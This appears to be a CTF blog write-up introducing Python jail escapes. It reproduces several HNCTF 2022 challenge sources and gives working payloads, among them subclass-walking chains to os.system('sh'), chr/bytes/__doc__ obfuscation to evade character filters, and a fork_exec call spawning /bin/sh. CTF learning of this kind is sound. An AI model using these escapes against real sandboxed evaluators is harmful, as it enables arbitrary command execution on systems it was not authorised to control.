First understanding of pyjail


foreword

Recently, I have seen a lot of Python jail questions in the Misc direction of various competitions. Using functions such as eval or exec to execute Python code to obtain a shell and realize Python escape, but I am not very good at it, so I find some questions to do and summarize. .

Commonly used Python magic methods

  1. _ init_ : Used in Python to carry out class constructors, in simple terms, it is to perform class initialization operations.
  2. _ str_ : Used in the string representation of objects or classes, such as using the __str__ method in a class, when using print() to print the instantiated class, the string returned in this method will be printed.
  3. _ len_ : Returns the length of an object, such as returning the length of a list
  4. _ call_ : This method is triggered when a class instance is executed as a function
  5. _ eq_ : Automatically call when judging whether two objects are equal
  6. _ getitem_ , returns an element of the object according to the index, for example, using a._getitem_ (1) for a list returns the second element of the list.
  7. _ setitem_ : Used to set the properties of the object, it will be called directly when assigning a value to an object.
  8. _ add_ , _ sub_ , _ mul_ , __div__ are automatically called when adding, subtracting, multiplying and dividing objects, such as a=1, b=2, a._add_ ( b) value is 3.
  9. _ delattr_ : Used when deleting an attribute of an object.
  10. _ getattr_ : Check whether the object contains a certain attribute, for example, a certain class a, if there is no method in calling a, the __getattr__ method will be called.
  11. _ setattr_ : This method is called every time an attribute is set.
  12. _subclasses_ : Returns all subclasses of the current class .
  13. _ class_ : Returns the class to which the current object belongs, such as 'a'.__class__ belongs to the str class
  14. _ dir_ : Triggered when using dir (object), you can customize the return value of the member list
  15. _ dict_ : You can view the dictionary composed of internal attribute names and values
  16. _ doc_ : Returns a help document of the default class, which is a string of text
  17. _ import_ : The function of loading the module, such as loading the os module as _ import_ ('os')
  18. _ builtins_ : Display all functions and classes in the current running environment
  19. _ file_ : Display the path where the variable is currently running code, such as open(_ file_ ).read() to read the current code
  20. globals: returns global variables
  21. _ : Returns the result of the last run of the python statement, which can be used to concatenate strings
  22. _ base_ : returns the base class of the current class

example

[CISCN 2023 Preliminary Round] pyshell

The title limits the number of characters. Only 7 characters are allowed to be entered at a time. If you want to bypass it, you can use _ to continuously superimpose strings, and then use eval() to execute some commands.
file

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

Given the source code:

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

The title filters multiple characters such as i, n, double quotes, single quotes, and backquotes. To execute bash or sh through os.system(), single quotes must appear, but single quotes cannot exist here. You can use chr( ) to bypass. As for import, etc., it can’t be used anymore. You can construct os by constructing the class method, and query all subclasses of the object class, but b can’t be used, so use other classes such as the base class of the character class. base constructs the object class.

That is ( ). class . base . subclasses () use this to get all the subclasses, and then pass the location of the os class, and finally use (). class . base . subclasses ( )[1] .init._globals_ ['system']('sh') can be used to obtain sh, but b and single quotes cannot be used. Therefore, you have to use getattr and chr() to bypass.

file

See the position of os at -4

The final structure is:

getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(39)+chr(115)+chr(104)+chr(39))

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

source code:

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

The source code limits the number of characters to 13, and can only be entered once, so you can use the breakpoint() function to bypass it. breakpoint() is a built-in function introduced after 3.7, which can be used for breakpoint debugging. After executing the breakpoint once Nest another layer of eval(input()) in it, enter os.system() to introduce the shell

file

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{
      
      i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))


There is a limit of 13 characters, and the previous input and eval are disabled, but breakpoint() is a breakpoint debugging, and it should be possible to reassign input_data.

file

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

#!/usr/bin/env python3
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))


This time it is directly limited by the length of 7. There are not many built-in functions available, but the help() function can be used here. After entering the interactive mode, you can query a usage at will. Because there are too many, more will be used for display, resulting in overflow , use the ! command later to cause the command to be executed.

file

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))


Here, double quotes, single quotes, and backquotes are filtered, and chr, import, etc. are also banned, but the character b is not filtered here, so you can use bytes[] to build a system, just make a small change from the previous one.

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

file

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _    ___   _____ 
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/ 
              __/ |                          _/ |                                                   
             |___/                          |__/                                                                                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))

The previous payload still works

calc_jail_beginner_level4.1(JAIL)

#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _  __
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))

To ban bytes, you can find the subclass index of bytes in all subclasses and then construct it. You can find that bytes is at the position of index 6, and os is still at the position of -4

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())


file

calc_jail_beginner_level4.3(JAIL)


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`+')
    return any(c in not_allowed for c in s)

def main():
    WELCOME = '''
  _                _                           _       _ _   _                _ _  _   ____
 | |              (_)                         (_)     (_) | | |              | | || | |___ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ <
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/
              __/ |                          _/ |
             |___/                          |__/
                                                                                                                        
    '''

    print(WELCOME)

    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
    input_data = my_input_func_000FDCAB("> ")
    if filter(input_data):
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
    main()

The above script can still be used here, but I found a new usage on the Internet. Find the corresponding characters through __doc__, such as finding the system, and then splicing them together for use. After filtering the + sign, use the form of john to splice the characters.

().__class__.__base__.__subclasses__()[134].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

file

calc_jail_beginner_level5(JAIL)

#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
    WELCOME = '''
  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
    print(WELCOME)
    print("It's so easy challenge!")
    print("Seems flag into the dir()")
    repl()


def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)

if __name__ == '__main__':
    main()

class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"

class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())

By directly reading my_flag from the dictionary i.e.

file

calc_jail_beginner_level6(JAIL)

import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({
    
    'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()

Here, the things that can be used are restricted in the form of whitelist, and _posixsubprocess.fork_exec needs to be used for RCE

import os

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)


Another solution seems to be through lamba expressions

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")

calc_jail_beginner_level7(JAIL)

import ast
import sys
import os

WELCOME = '''

    _       _ _   _                _                         _                _ ______
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/
  _/ |                        __/ |
 |__/                        |___/

'''

def verify_ast_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
        print(f"ERROR: Banned statement {
      
      x}")
        return False
  return True


def exexute_code(my_source_code):
  print("Pls input your code: (last line must contain only --HNCTF)")
  while True:
    line = sys.stdin.readline()
    if line.startswith("--HNCTF"):
      break
    my_source_code += line

  tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
  if verify_ast_secure(tree_check):
    print("check is passed!now the result is:")
    compiled_code = compile(my_source_code, "input_code.py", 'exec')
    exec(compiled_code)
  print("Press any key to continue")
  sys.stdin.readline()


while True:
  os.system("clear")
  print(WELCOME)
  print("=================================================================================================")
  print("==           Welcome to the calc jail beginner level7,It's AST challenge                       ==")
  print("==           Menu list:                                                                        ==")
  print("==             [G]et the blacklist AST                                                         ==")
  print("==             [E]xecute the python code                                                       ==")
  print("==             [Q]uit jail challenge                                                           ==")
  print("=================================================================================================")
  ans = (sys.stdin.readline().strip()).lower()
  if ans == 'g':
     print("=================================================================================================")
     print("==        Black List AST:                                                                      ==")
     print("==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==")
     print("==                        Sub,Mult,Div,Del'                                                    ==")
     print("=================================================================================================")
     print("Press any key to continue")
     sys.stdin.readline()
  elif ans == 'e':
    my_source_code = ""
    exexute_code(my_source_code)
  elif ans == 'q':
    print("Bye")
    quit()
  else:
    print("Unknown options!")
    quit()

The input is intercepted through python's abstract syntax tree, and the function decorator and class definition are used here to bypass it.
file

Summarize

It seems that there are a lot of weird ideas and payloads, let’s do a preliminary understanding, and then slowly learn more to supplement

Guess you like

Origin blog.csdn.net/weixin_53090346/article/details/130939099